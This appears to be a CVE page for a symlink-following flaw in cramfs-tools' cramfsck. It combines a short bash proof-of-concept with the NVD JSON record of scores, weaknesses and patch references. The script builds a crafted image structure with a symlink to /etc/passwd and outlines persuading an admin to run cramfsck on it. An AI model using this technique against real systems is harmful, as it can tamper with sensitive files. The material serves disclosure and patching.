CVE-2026-8784

#!/bin/bash # PoC Concept for CVE-2026-8784 # This script demonstrates the environment setup to trigger the symlink following. # An attacker would create a malicious cramfs image containing a symlink. # 1. Create a directory structure for the malicious image mkdir -p malicious_fs # 2. Create a symlink inside the image pointing to a sensitive file (e.g., /etc/passwd) # In a real exploit, this is packed into the cramfs image format. # The vulnerability lies in cramfsck following this link during status change. echo "[+] Creating malicious structure..." ln -s /etc/passwd malicious_fs/passwd_link # 3. Simulating the trigger (Requires actual cramfs-tools installed) # In a real scenario, the attacker would run: # mkcramfs malicious_fs malicious.img # Then ask the admin to run: cramfsck -x /tmp/extract malicious.img # or just check it if the check process involves status changes. echo "[!] To exploit: Package 'malicious_fs' into a cramfs image and run cramfsck on it." echo "[!] If vulnerable, cramfsck will attempt to change status of /etc/passwd."

{"cve": {"id": "CVE-2026-8784", "sourceIdentifier": "[email protected]", "published": "2026-05-18T04:16:34.247", "lastModified": "2026-05-18T04:16:34.247", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in npitre cramfs-tools up to 2.2. Affected is the function change_file_status of the file cramfsck.c. Performing a manipulation results in symlink following. The attack requires a local approach. The exploit is now public and may be used. The patch is named b4a3a695c9873f824907bd15659f2a6ac7667b4f. It is recommended to apply a patch to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 4.0, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 2.5, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://github.com/npitre/cramfs-tools/", "source": "[email protected]"}, {"url": "https://github.com/npitre/cramfs-tools/commit/b4a3a695c9873f824907bd15659f2a6ac7667b4f", "source": "[email protected]"}, {"url": "https://github.com/npitre/cramfs-tools/issues/13", "source": "[email protected]"}, {"url": "https://github.com/npitre/cramfs-tools/issues/13#issuecomment-4306102583", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811897", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364408", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364408/cti", "source": "[email protected]"}]}}